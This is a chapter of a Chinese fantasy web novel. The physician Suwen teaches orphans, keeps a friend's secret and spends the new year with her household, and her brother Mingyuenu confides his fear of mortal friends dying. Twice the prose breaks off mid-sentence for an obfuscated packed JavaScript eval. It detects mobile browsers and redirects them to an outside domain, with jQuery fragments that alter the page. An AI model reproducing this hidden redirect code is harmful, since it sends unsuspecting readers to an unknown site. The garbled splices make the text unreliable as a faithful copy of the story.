师傅轻咳了一声,道:“小兰,不得无礼。” 兰兰捂住嘴,眼睛却不肯老实,灵动地冲素问使眼色。 素问见状,忍住笑意,先点了点头,然后与这位师傅互相介绍了自己,得知对方姓曹,单名勣,乃是一名江湖游侠,因受方灵枢救治之恩,故而承诺在此地教习一年。素问闻言,不禁道:“曹大侠与方医师的约定好像话本里的故事。” 曹勣有些不好意思,道:“我只是会些拳脚功夫,怎么敢自比传奇人物呢?” 石水玉笑道:“非也,岂不知话本里的故事多是改编自现实,甚至有时候真相要比故事里还要离奇!再说了,谁说要干出一番惊天动地的大事才能算是人物?我看曹大侠身手并不差,却能安心在此地教授稚童如何扎马步,如此心性,成为传奇指日可待,说不定他日在一家客栈落脚,无意间听说的故事正是以你为蓝本呢!” 曹勣笑得见牙不见眼,连声道“不敢”。 素问憋着笑,垂头看到兰兰,嘴角又不由得有些发僵。兰兰仰着头,目光在曹勣和石水玉之间来回转动,自打素问进来后,兰兰脸上的笑意就不曾消失过。面对这样的兰兰,莫说直言朝馨的死讯,便是采取石水玉的建议,素问也无法开这个口。 石水玉应酬之中分神观察素问,看到她的神情就明白了,便也不再提。两人就像打来的幌子那般,当真替代图南教起了课。 若水善堂只收养了四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452258|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个孩子,其中以兰兰最长,也还是不大懂事的年纪,因此素问只准备了几种常用的药草给他们辨认,又在纸上画出药草长在土中是何模样,与其说是教他们,不如说是让他们看图取乐。如此这般,待四人都能辨认得了了,素问便将药草名写在旁边,留给他们去找识字先生继续往下学,自己则收拾纸笔,准备离开善堂,此时却发现石水玉不知何时离开了屋子。 曹勣在院里擦拭木枪木剑,见素问四处张望,问道:“叶医师找石小娘子么?” 素问点头。 曹勣一指屋后,道:“她去后面坡上了,说要看风景,这会儿风大得很,她竟也不怕冷。” 素问笑着道谢,尔后顺着曹勣的指引出了后院门,果然见到有一处矮坡。她没看到石水玉的人影,但是听到坡后有两人正在低声交谈,一个男子道:“实在不行便作罢!我二人命在旦夕,已无路可走,你还有机会!” 紧跟着是石水玉的声音:“不会!二哥一切小心,便不会出事!” 素问猝不及防听见,直觉这是石水玉的秘密,便立刻闭了听觉,退回院中。 曹勣见素问去而复返,问:“没见到人?” 素问笑道:“我不着急走,就在这里等她。” 曹勣不知为何,忽然就变得局促起来,剑也擦不好,枪也拿不稳,手忙脚乱片刻,忽地心一横,回身看向素问,道:“叶医师以后会经常来么?” 素问正发着呆,闻言愣了一瞬,才反应过来,道:“一个月至少来两天,曹大侠有何事么?” “唔,没有,随便问问。”曹勣抓着脑袋看天,顿了片刻,又问,“你饿不饿?” 素问:“?” 曹勣才想起这会儿不是饭点,顿时有些尴尬。 素问终于注意到曹勣的异常,便收回心神道:“曹大侠有事不妨直言,不要紧的。” 曹勣绞尽脑汁,话没酝酿出来,倒是把自己的脸给煮红了。 素问见状,连忙劝道:“若是不方便说,可以等下回想好了再讲。” “诶!”曹勣赧然笑着应下。 素问转头看向后门,曹勣顺着看过去,片刻之后,便见石水玉推门过来。曹勣当即有些惊讶,没想到素问耳力竟如此之好。 石水玉见到素问也有些惊讶,紧张了一瞬,不过很快便放松下来,笑道:“你结束了?” 素问点头:“准备回城罢。” 石水玉看了曹勣一眼,道:“方才离开,我与曹大侠说过,不知你……” “他与我说过。”素问道,“不过风太大了,我没去找你。” 曹勣连忙道:“叶医师说不着急走,所以在这里等着。” 石水玉笑道:“原来如此,我还怕你久等。” 素问未置可否,起身道:“走罢。” 两人到了门外,各自解开自己的马,石水玉一手握着缰绳,一手摸着马脸,目光却不时往素问那边飘。 素问恍若未见,理好缰绳后,便跃了上去。 石水玉见她要走,连忙问:“你就没想着要去找我么?” 素问垂头,静静地看了她片刻,决定坦诚以待:“去找了,听到你与一个男子说话,我无意探你隐私,所以躲了回来。此事你不说,我便当不知,也不会再提,但既然你主动说起,为了让你安心,我便也不瞒你。” 石水玉默然片刻,忽然深吸一口气,道:“那个人是……” “不必与我解释。”素问打断她,温声道,“我方才进善堂前讲的话依旧算数,至于其他……不管是为了谁,都不必多说了。” 石水玉抿唇不语,上前握住素问的手。 素问垂头看着石水玉左手背上的一道白痕,不禁问:“这是?” “儿时受的旧伤。”石水玉目光灼灼地看着素问,“你要问么?我保证不瞒你。” “容我自私一回,我怕问到了答案会左右为难。” 石水玉垂眸,过了片刻,松开了手,道:“临近午时,若是再不走,可就有人要出来留饭了。” 这是默认自己的秘密和素问身边人有关联了,素问不禁眉头微锁,有些惆怅地拉起缰绳了道:“那就回城罢。” 46. 绿蚁红泥(六) 冬至之后,很快便到年关,按照习俗,年关前大约半个月,稍稍有些家底的人家都开始采买年货了。 惠训坊里也不例外,与平日无异的安平医庐便显得有些另类。 爰爰坐在屋檐下,托着腮看人来人往,眼中露出艳羡的神色:“好多吃的呀……” 几步外的摇椅应声而停,元度卿侧过身子问:“你们当真不准备买了?” 爰爰摇头:“我们都不会做,不过重琲哥哥已经在酒楼订好了年夜饭,到时候他们会做好送来的。” 元度卿奇道:“那你羡慕什么?” 爰爰抿唇摇头。 屋内的明月奴冷笑:“若是羡慕,你尽可回九……回家去。” “别回,你若是走了,医庐就更冷清了!”元度卿笑嘻嘻道,“我也不准备了,这次年夜饭好歹算我一份,多个人也多一份热闹嘛!” 明月奴重重地将舂药杵摔到石臼里,正要开口,那厢元度卿听到动静,立刻补充道:“你们也蹭我不少好处了,我可没找你们受过半文钱。” 爰爰有些莫名,道:“元大叔尽管来便是,说这些做什么?” “你欢迎,素问也不介意,说这些自然是为了小奴儿啊!” 明月奴:“……” 素问抬头,看明月奴眼睛闭着,深吸几口气,然后睁开眼,重新开始捣药,不禁觉得有些新奇。 明月奴隐有所感,转头看向素问,一对上目光,立刻道:“我在修心。” 素问点头:“好事。” 明月奴闷头捣了半晌,忽然停下,问:“阿姐会做噩梦么?” 素问疑惑地看着他。 “做梦也行。”明月奴补充道。 素问想了想,点头:“其实不该做梦的,但是那日不知为何,入定之中睡了过去。” “阿姐也有过这种经历?”明月奴方才一脸凝重,现在找到了“同类”,神情肉眼可见地放松了,他连忙端着石臼坐到素问膝边,小声道,“我也是,前几日好好地打坐,不知为何睡了过去,竟然还做了个噩梦吓醒过来,我打记事至今,还不曾这样过!” 素问回想当日在老君洞前的情形,也想不出原因,只能推测:“难道是太累了?” 明月奴摇头:“我最近不累。” 素问沉吟片刻,蓦然迟疑:“那……是不是因为某个人,或是某件事影响了你的心……道心?” 明月奴呆住,过了好一会儿,才喃喃道:“或许是……” 素问歪头去看他,认真打量之下,察觉出明月奴的茫然,她略作思索,便猜到了明月奴想到了什么,于是问道:“魔气的事,你其实也很介意罢?” 明月奴抬头反问:“阿姐不是更介意么?” 素问不禁轻叹:“魔族心无善念,若是在六道中成了气候,必然会祸害一方。” “祸害一方的是人才对罢?”明月奴颇感不忿,“再说了,阿姐也不是不知道人间这些魔气从何而来,说到底,都是人性之恶在作祟。” “人间的主宰就是人,就像鬼应当在冥界,仙应该居仙界之中。我本身对魔族并无恶意,更谈不上非要魔族灭亡,相反,他们只要安心留在魔界,没有人会去迫害他们,若是他们不想着侵袭神界,神界也不会主动挑起神魔之战。” “可是我做的梦,好像就在魔界。”明月奴目光发直地看着前方,仿佛在一瞬间重新回到了梦境之中,“那里赤地千里,寸草不生,比起如今的人间还不如。在梦里,我感觉很渴,可是找了很久,却喝不到一滴水……”明月奴说着,好像真的觉得又渴又热,他忍不住扯起衣领,下一瞬,一只冰凉的手覆在他的额头,他立刻清醒过来,连忙甩了甩头。 “果真是噩梦,你都被魇住了。”素问柔声道,“不过别怕,梦里都是假的,你出生在妖界,从小生活在昆仑山下,不可能知晓魔界是何模样,我也绝不会让你堕入其中——这几日先别修炼了,人间不是到年关了么?我们也准备准备,既然来人间一遭,这么重要的节日怎么能错过呢?” 明月奴缓缓吐出一口气,靠到素问膝上,小声道:“好,我听阿姐的。” 素问抚摸着明月奴的头,面上一派温和,心里其实与方才所说相反,对于明月奴的情况,她很是忧虑,却又一筹莫展。 外间,爰爰问:“元大叔为何不去跟侄子侄女一起过年?” 元度卿“啊”了一声,含糊道:“他们啊……” 爰爰感觉自己发现了罅漏,追问道:“元大叔来洛阳也有半年了,你本意不是来照顾侄子侄女么?怎么从未见你出门,也不见他们来?” 素问抬眸,认真听着外面的对话。 元度卿不见慌乱,施施然道:“怎么没找过?去偷偷见过,被发现了,被赶走了!我是什么人?我能受这等闲气?” 爰爰配合发问:“你怎么着?” “与他们断绝关系了!” 屋里屋外都陷入了沉默。 过了半晌,爰爰道:“那你怎么不回老家?” “老家也没人理会我,不如与你们在一块儿——不瞒你说,我如今将你们仨当成侄儿了!” 爰爰嚷道:“元大叔莫要占我们便宜!” 明月奴轻笑一声,依旧闭着眼,声音低而糊:“臭老头有问题。” 片刻之后,素问“嗯”了一声。 两人便没再接后话,因为他们都知道,不管元度卿是什么人,对于素问他们来说都没有任何威胁。 数日倏忽而过,转眼到了小年前一日,素问本想将兰兰接回,但是转念一想,又担心善堂里的其他孩子失落,索性顾了一辆马车,准备连人带菜,举家去善堂过年。 除了马车,素问还给元度卿准备了一匹马,没想到临行之前,元度卿却打起了退堂鼓。他坐在院中枯萎的葡萄藤下,仿佛长在了院子里般不肯挪步,只笑道:“大冷天的,我可不想到处奔波,去了别处还要借宿,想想就难受,你们去罢。” 素问在马车边停下,爰爰从车里冒出脑袋,两人不约而同地问:“你要独自过年?” “自从心上人离开后,我独身好些年了,早已习惯,你们且玩去便是。” 爰爰道:“哎呀,跟我们一起走嘛!不然丢下你一个人,我年也过不好了!” 明月奴牵着马,忍不住问:“你怎么了?” 元度卿笑:“你将仙酿拿出来给我喝,我就去。” 明月奴翻了个白眼,利落地翻身上马,催道:“阿姐,我们走。” 素问问询地看着元度卿,见他始终坚持,便回身上了马车。 车夫关好门,跳上辕门,驾车离开。 元度卿听着车辙轧着青砖地渐渐行远,长长呼出一口白气,交叉双手于腹上,伸长双腿半躺着,透过交叉的枯藤看天,无悲无喜,与平日浑然不同。 不过这份淡漠平静很快便被打破,他听到一阵动静,不禁睁大了眼,眨了几眨,忽地如鲤鱼打挺一般跳了起来,攀着门框看向东面——刚刚离开的大马车又晃晃悠悠地回来了,最终停在了书斋的门口。 元度卿疑惑地看向马上的明月奴,后者冷着脸,并不睬他,素问和爰爰从车里跳了下来,元度卿不禁问:“你们怎么回来了?” “我们肯定不会丢下元大叔呀!”爰爰一边笑着回答,一边将食盒往下搬。 素问打开门,解释道:“爰爰现在出发,去善堂将所有人都接来,我们在医庐过年。” “啊?”元度卿惊愕间,爰爰和素问一来一去,已经将食盒都搬了下来,眼见着车夫在调转马车头,他连忙帮着将食盒搬回屋里,爰爰则跟着车再次离开。 医庐里,素问打开食盒,确认所有的菜都完好,忽然想起一事,回头看向元度卿,道:“有件事得元先生帮忙。” 元度卿这会儿心情大好,闻言立刻大手一挥:“你吩咐便是,无有不从!” 素问直言道:“我们院子不够大,恐怕住不了太多人,元先生能借几间客房么?” “借什么?我立刻去将院墙推了,我的院子就是你们的院子!” 元度卿说到做到,立刻托人找来了工匠,下午便将墙拆了。明月奴一言不发,皱眉抱臂冷眼旁观。等爰爰将人接来时,两家后院已经并在一处。 爰爰一回来便听到后院的动静,等她亲眼看到面目大改的院子,不禁目瞪口呆,目光一会儿落在追逐的孩子们身上,一会儿落在那堵已经被修饰成小斜坡的墙,最终忍不住笑着拍手:“好大的地盘!我喜欢!” 明月奴来到她身后,扫视一圈,最后转头落在身边的元度卿身上,一字一顿道:“年过完后,立刻修回来!” 元度卿不解:“何必呢?明年还要一起过年,到时候再推一遍岂不麻烦?” 明月奴咬牙切齿:“我不与你一间院子!” “那就开一道门,多简单的事?小奴儿要学会变通啊!” 明月奴声音立刻大了起来:“你还知道开一扇门便可以了?!那你为何要推了我家的墙? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466819|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 元度卿一阵无言,委婉提醒:“方才推墙的时候,你也不曾反对……” 爰爰打圆场道:“这样方便孩子们玩嘛!” 明月奴鼻孔出气,狠狠瞪了爰爰一眼,甩袖便走,只是本可以躲避的房间院落这会儿已经被稚童“霸占”,他只得往门外去,坐在河埠头生闷气。 曹勣等人本来在屋里与素问说话,此时见明月奴气冲冲地去了门外,都有些坐立不安。曹勣起身问:“叶医师,我们贸然来访,令弟似有不悦,若是……” 素问回头看了一眼,确定明月奴没有走远,便没有急着追出去,先安抚这一众客人:“他不是冲你们,不过我确实得去看看,怠慢各位了。” 曹勣立刻道:“叶医师但去无妨。” 教书先生傅声也起身道:“方才听说隔壁有一间书斋,我刚好去瞧瞧。” 元度卿耳朵尖,听到了付晟的话,立刻接茬:“来来来,两位先生跟我走,孩子们就交给大孩子爰爰,保管不出差错。” 素问冲元度卿一点头,转身去找明月奴。 外间天寒地冻,明月奴坐在石板上,行人难免侧目,他自己浑然不觉,只看着水面的浮冰发呆。 素问停在他身后,道:“我们回屋去说?” 明月奴摇头。 素问便坐到他身边,等了片刻,见明月奴没有开口倾诉的意思,斟酌道:“元先生什么也不知道,一直以来也很关心你,贸然受气,连方向也找不着,岂不是很无辜?” 明月奴看向素问,道:“阿姐呢?难道知道我为何生气?” “大概知道一些。”素问道,“你怪我带了这么多人回家,对么?” 明月奴沉默,过了好半晌,点头道:“是。” “自然不仅限于此。”素问忍不住叹息,“明月奴,你好像一直在抗拒与人交往,我有些不明白,你到底在怕什么?” “我不怕,只是不喜欢。”明月奴淡淡道,“人有诸般不好,可是满天神佛却纵容偏爱,这不公平。” 素问托腮,认真听着。 明月奴越说越委屈:“阿姐本来就向着他们,如今越走越近,有时候恐怕都忘了自己的来处。” 素问眉头一跳,问:“你是说书灵本体么?” “不错!我知道仙界有许多人修飞升,可是阿姐不同,你不是人,但你现在是不是将自己当做他们中一员了?” 素问无奈,温声道:“明月奴,我们来人间,算是来到别人的地盘,少则停留一年半载,多的话就说不准了,即便是为了让自己过得舒服一些,也不该总是敌视他们呀!若是觉得他们不会影响自己的心情,那就更不该去针锋相对了,是不是?再说了,你当真觉得凡人一无是处么?且不说其他人,如今医庐里的人,你真心讨厌哪一个?” 明月奴梗着脖子道:“我不要融入他们。” “如果真的不想,也不必强迫自己,但是最起码的尊重还是要有的。”素问想了想,又补充道,“尤其是元大叔,他对我们很好,你不要再那样凶他了。” 明月奴木然地看着河面,不说话。 素问觉得自己该说的都说得差不多了,便拍了拍明月奴的肩膀,道:“我先进……” “我是害怕。”明月奴忽然道。 素问手停在明月奴肩头,道:“害怕什么?” “害怕自己会喜欢他们。”明月奴看向素问,道,“你瞧,年关将过,人又长一岁,便是离死又近了一步,这些熟悉的人在不久的将来会一一死去,我们只能眼睁睁看着,毫无办法,他们眼睛一闭腿一蹬便忘了一切去轮回转世,我们怎么办?阿姐难道就不害怕么?” 这个问题不是明月奴第一回抛出了,几个月前,他在质问素问对方灵枢的感情就说过——方灵枢会死,李重琲、元度卿、石水玉这些人皆是如此,尔后他们会开始新的人生,与如今再无瓜葛。 素问的回答依旧没有变:“我们回到来处,继续以前的生活。” 明月奴忍不住哂笑:“阿姐当真觉得还能与以前一样么?” 素问坦然道:“我不确定,此行之后,也许我大彻大悟,就此飞升上神,也有可能道心受损,再不能前进一步,直到天人五衰,进入轮回。不管哪种结果,我都可以接受。” 明月奴怔住。 素问起身道:“我先上去了,你与我一道,还是再坐会儿?” 明月奴道:“我再想想。” 素问冲他笑了笑,转身离开。